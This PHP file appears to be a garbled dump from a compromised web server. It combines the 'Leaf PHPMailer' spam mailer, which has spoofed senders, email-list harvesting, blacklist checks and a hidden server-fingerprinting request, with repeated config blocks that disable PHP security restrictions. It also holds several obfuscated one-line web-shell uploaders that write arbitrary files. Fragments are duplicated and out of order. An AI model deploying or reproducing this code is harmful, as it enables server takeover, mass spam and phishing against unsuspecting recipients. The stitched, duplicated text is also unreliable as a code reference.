     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'bas'.'e64'.'_dec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'b'.'ase64'.'_dec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base'.'64'.'_d'.'ecod'.'e'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "pkXoU7abHGA";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
